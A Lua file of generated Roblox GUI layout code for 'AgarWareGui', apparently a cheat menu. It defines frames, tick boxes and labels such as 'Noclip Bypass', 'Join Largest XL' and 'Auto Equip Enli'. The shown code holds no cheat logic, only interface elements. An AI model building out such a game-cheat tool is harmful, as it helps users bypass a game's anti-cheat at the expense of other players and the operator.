G2L["247"] = Instance.new("Frame", G2L["246"]);
G2L["247"]["BorderSizePixel"] = 0;
G2L["247"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["247"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["247"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["247"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["247"]["Name"] = [[TCOMiscLeftSide]];
G2L["247"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.UIListLayout
G2L["248"] = Instance.new("UIListLayout", G2L["247"]);
G2L["248"]["Padding"] = UDim.new(0, 7);
G2L["248"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup
G2L["249"] = Instance.new("Frame", G2L["247"]);
G2L["249"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["249"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["249"]["Size"] = UDim2.new(0, 170, 0, 204);
G2L["249"]["Position"] = UDim2.new(0, 0, 0, 0);
G2L["249"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["249"]["Name"] = [[MiscGroup]];
G2L["249"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscScript
G2L["24a"] = Instance.new("LocalScript", G2L["249"]);
G2L["24a"]["Name"] = [[MiscScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.UIListLayout
G2L["24b"] = Instance.new("UIListLayout", G2L["249"]);
G2L["24b"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscAccentColor
G2L["24c"] = Instance.new("Frame", G2L["249"]);
G2L["24c"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["24c"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["24c"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["24c"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["24c"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["24c"]["Name"] = [[MiscAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscTitle
G2L["24d"] = Instance.new("TextLabel", G2L["249"]);
G2L["24d"]["TextWrapped"] = true;
G2L["24d"]["BorderSizePixel"] = 0;
G2L["24d"]["TextSize"] = 14;
G2L["24d"]["TextScaled"] = true;
G2L["24d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24d"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["24d"]["BackgroundTransparency"] = 0.95;
G2L["24d"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["24d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24d"]["Text"] = [[More Stuff]];
G2L["24d"]["LayoutOrder"] = 1;
G2L["24d"]["Name"] = [[MiscTitle]];
G2L["24d"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscTitle.MiscMinimize
G2L["24e"] = Instance.new("TextButton", G2L["24d"]);
G2L["24e"]["BorderSizePixel"] = 0;
G2L["24e"]["TextSize"] = 14;
G2L["24e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24e"]["BackgroundTransparency"] = 1;
G2L["24e"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["24e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24e"]["Text"] = [[-]];
G2L["24e"]["Name"] = [[MiscMinimize]];
G2L["24e"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow
G2L["24f"] = Instance.new("Frame", G2L["249"]);
G2L["24f"]["BorderSizePixel"] = 0;
G2L["24f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["24f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["24f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24f"]["Name"] = [[LJoinXLRow]];
G2L["24f"]["LayoutOrder"] = 10;
G2L["24f"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow.LJoinXLScript
G2L["250"] = Instance.new("LocalScript", G2L["24f"]);
G2L["250"]["Name"] = [[LJoinXLScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow.LJoinXLButton
G2L["251"] = Instance.new("TextButton", G2L["24f"]);
G2L["251"]["TextSize"] = 14;
G2L["251"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["251"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["251"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["251"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["251"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["251"]["Text"] = [[Join Largest XL]];
G2L["251"]["Name"] = [[LJoinXLButton]];
G2L["251"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow
G2L["252"] = Instance.new("Frame", G2L["249"]);
G2L["252"]["BorderSizePixel"] = 0;
G2L["252"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["252"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["252"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["252"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["252"]["Name"] = [[NNoclipRow]];
G2L["252"]["LayoutOrder"] = 2;
G2L["252"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipScript
G2L["253"] = Instance.new("LocalScript", G2L["252"]);
G2L["253"]["Name"] = [[NNoclipScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipTickBox
G2L["254"] = Instance.new("TextButton", G2L["252"]);
G2L["254"]["TextSize"] = 14;
G2L["254"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["254"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["254"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["254"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["254"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["254"]["Text"] = [[]];
G2L["254"]["Name"] = [[NNoclipTickBox]];
G2L["254"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipText
G2L["255"] = Instance.new("TextLabel", G2L["252"]);
G2L["255"]["BorderSizePixel"] = 0;
G2L["255"]["TextSize"] = 14;
G2L["255"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["255"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["255"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["255"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["255"]["BackgroundTransparency"] = 1;
G2L["255"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["255"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["255"]["Text"] = [[Noclip Bypass]];
G2L["255"]["Name"] = [[NNoclipText]];
G2L["255"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow
G2L["256"] = Instance.new("Frame", G2L["249"]);
G2L["256"]["BorderSizePixel"] = 0;
G2L["256"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["256"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["256"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["256"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["256"]["Name"] = [[DecimalFixerRow]];
G2L["256"]["LayoutOrder"] = 2;
G2L["256"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerScript
G2L["257"] = Instance.new("LocalScript", G2L["256"]);
G2L["257"]["Name"] = [[DecimalFixerScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerTickBox
G2L["258"] = Instance.new("TextButton", G2L["256"]);
G2L["258"]["TextSize"] = 14;
G2L["258"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["258"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["258"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["258"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["258"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["258"]["Text"] = [[]];
G2L["258"]["Name"] = [[DecimalFixerTickBox]];
G2L["258"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerText
G2L["259"] = Instance.new("TextLabel", G2L["256"]);
G2L["259"]["BorderSizePixel"] = 0;
G2L["259"]["TextSize"] = 14;
G2L["259"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["259"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["259"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["259"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["259"]["BackgroundTransparency"] = 1;
G2L["259"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["259"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["259"]["Text"] = [[Fix Decimal Time]];
G2L["259"]["Name"] = [[DecimalFixerText]];
G2L["259"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow
G2L["25a"] = Instance.new("Frame", G2L["249"]);
G2L["25a"]["BorderSizePixel"] = 0;
G2L["25a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["25a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["25a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25a"]["Name"] = [[OtherDecimalFixerRow]];
G2L["25a"]["LayoutOrder"] = 2;
G2L["25a"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerScript
G2L["25b"] = Instance.new("LocalScript", G2L["25a"]);
G2L["25b"]["Name"] = [[OtherDecimalFixerScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerTickBox
G2L["25c"] = Instance.new("TextButton", G2L["25a"]);
G2L["25c"]["TextSize"] = 14;
G2L["25c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["25c"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["25c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["25c"]["Text"] = [[]];
G2L["25c"]["Name"] = [[OtherDecimalFixerTickBox]];
G2L["25c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerText
G2L["25d"] = Instance.new("TextLabel", G2L["25a"]);
G2L["25d"]["BorderSizePixel"] = 0;
G2L["25d"]["TextSize"] = 14;
G2L["25d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["25d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["25d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25d"]["BackgroundTransparency"] = 1;
G2L["25d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["25d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25d"]["Text"] = [[Fix Other Decimals]];
G2L["25d"]["Name"] = [[OtherDecimalFixerText]];
G2L["25d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow
G2L["25e"] = Instance.new("Frame", G2L["249"]);
G2L["25e"]["BorderSizePixel"] = 0;
G2L["25e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["25e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["25e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25e"]["Name"] = [[EnliChatBlueRow]];
G2L["25e"]["LayoutOrder"] = 2;
G2L["25e"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueScript
G2L["25f"] = Instance.new("LocalScript", G2L["25e"]);
G2L["25f"]["Name"] = [[EnliChatBlueScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueTickBox
G2L["260"] = Instance.new("TextButton", G2L["25e"]);
G2L["260"]["TextSize"] = 14;
G2L["260"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["260"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["260"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["260"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["260"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["260"]["Text"] = [[]];
G2L["260"]["Name"] = [[EnliChatBlueTickBox]];
G2L["260"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueText
G2L["261"] = Instance.new("TextLabel", G2L["25e"]);
G2L["261"]["BorderSizePixel"] = 0;
G2L["261"]["TextSize"] = 14;
G2L["261"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["261"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["261"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["261"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["261"]["BackgroundTransparency"] = 1;
G2L["261"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["261"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["261"]["Text"] = [[Enli Icon (Chat)]];
G2L["261"]["Name"] = [[EnliChatBlueText]];
G2L["261"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow
G2L["262"] = Instance.new("Frame", G2L["249"]);
G2L["262"]["BorderSizePixel"] = 0;
G2L["262"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["262"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["262"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["262"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["262"]["Name"] = [[AutoEnliRow]];
G2L["262"]["LayoutOrder"] = 3;
G2L["262"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliScript
G2L["263"] = Instance.new("LocalScript", G2L["262"]);
G2L["263"]["Name"] = [[AutoEnliScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliTickBox
G2L["264"] = Instance.new("TextButton", G2L["262"]);
G2L["264"]["TextSize"] = 14;
G2L["264"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["264"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["264"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["264"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["264"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["264"]["Text"] = [[]];
G2L["264"]["Name"] = [[AutoEnliTickBox]];
G2L["264"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliText
G2L["265"] = Instance.new("TextLabel", G2L["262"]);
G2L["265"]["BorderSizePixel"] = 0;
G2L["265"]["TextSize"] = 14;
G2L["265"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["265"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["265"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["265"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["265"]["BackgroundTransparency"] = 1;
G2L["265"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["265"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["265"]["Text"] = [[Auto Equip Enli]];
G2L["265"]["Name"] = [[AutoEnliText]];
G2L["265"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow
G2L["266"] = Instance.new("Frame", G2L["249"]);
G2L["266"]["BorderSizePixel"] = 0;
G2L["266"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["266"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["266"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["266"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["266"]["Name"] = [[ChatFixRow]];
G2L["266"]["LayoutOrder"] = 3;
G2L["266"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixScript
G2L["267"] = Instance.new("LocalScript", G2L["266"]);
G2L["267"]["Name"] = [[ChatFixScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixTickBox
G2L["268"] = Instance.new("TextButton", G2L["266"]);
G2L["268"]["TextSize"] = 14;
G2L["268"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["268"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["268"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["268"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["268"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["268"]["Text"] = [[]];
G2L["268"]["Name"] = [[ChatFixTickBox]];
G2L["268"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixText
G2L["269"] = Instance.new("TextLabel", G2L["266"]);
G2L["269"]["BorderSizePixel"] = 0;
G2L["269"]["TextSize"] = 14;
G2L["269"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["269"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["269"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["269"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["269"]["BackgroundTransparency"] = 1;
G2L["269"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["269"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["269"]["Text"] = [[Chat Fix]];
G2L["269"]["Name"] = [[ChatFixText]];
G2L["269"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow
G2L["26a"] = Instance.new("Frame", G2L["249"]);
G2L["26a"]["BorderSizePixel"] = 0;
G2L["26a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["26a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["26a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26a"]["Name"] = [[EnliLBRow]];
G2L["26a"]["LayoutOrder"] = 2;
G2L["26a"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBScript
G2L["26b"] = Instance.new("LocalScript", G2L["26a"]);
G2L["26b"]["Name"] = [[EnliLBScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBTickBox
G2L["26c"] = Instance.new("TextButton", G2L["26a"]);
G2L["26c"]["TextSize"] = 14;
G2L["26c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26c"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["26c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["26c"]["Text"] = [[]];
G2L["26c"]["Name"] = [[EnliLBTickBox]];
G2L["26c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBText
G2L["26d"] = Instance.new("TextLabel", G2L["26a"]);
G2L["26d"]["BorderSizePixel"] = 0;
G2L["26d"]["TextSize"] = 14;
G2L["26d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["26d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26d"]["BackgroundTransparency"] = 1;
G2L["26d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["26d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26d"]["Text"] = [[Enli Icon (LB)]];
G2L["26d"]["Name"] = [[EnliLBText]];
G2L["26d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow
G2L["26e"] = Instance.new("Frame", G2L["249"]);
G2L["26e"]["BorderSizePixel"] = 0;
G2L["26e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["26e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["26e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26e"]["Name"] = [[BkitUIFixRow]];
G2L["26e"]["LayoutOrder"] = 3;
G2L["26e"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixScript
G2L["26f"] = Instance.new("LocalScript", G2L["26e"]);
G2L["26f"]["Name"] = [[BkitUIFixScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixTickBox
G2L["270"] = Instance.new("TextButton", G2L["26e"]);
G2L["270"]["TextSize"] = 14;
G2L["270"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["270"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["270"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["270"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["270"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["270"]["Text"] = [[]];
G2L["270"]["Name"] = [[BkitUIFixTickBox]];
G2L["270"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixText
G2L["271"] = Instance.new("TextLabel", G2L["26e"]);
G2L["271"]["BorderSizePixel"] = 0;
G2L["271"]["TextSize"] = 14;
G2L["271"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["271"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["271"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["271"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["271"]["BackgroundTransparency"] = 1;
G2L["271"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["271"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["271"]["Text"] = [[B-Kit UI Fix]];
G2L["271"]["Name"] = [[BkitUIFixText]];
G2L["271"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup
G2L["272"] = Instance.new("Frame", G2L["247"]);
G2L["272"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["272"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["272"]["Size"] = UDim2.new(0, 170, 0, 160);
G2L["272"]["Position"] = UDim2.new(0, 0, 0.51944, 0);
G2L["272"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["272"]["Name"] = [[BoomboxGroup]];
G2L["272"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxScript
G2L["273"] = Instance.new("LocalScript", G2L["272"]);
G2L["273"]["Name"] = [[BoomboxScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTooltip
G2L["274"] = Instance.new("LocalScript", G2L["272"]);
G2L["274"]["Name"] = [[BoomboxTooltip]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.UIListLayout
G2L["275"] = Instance.new("UIListLayout", G2L["272"]);
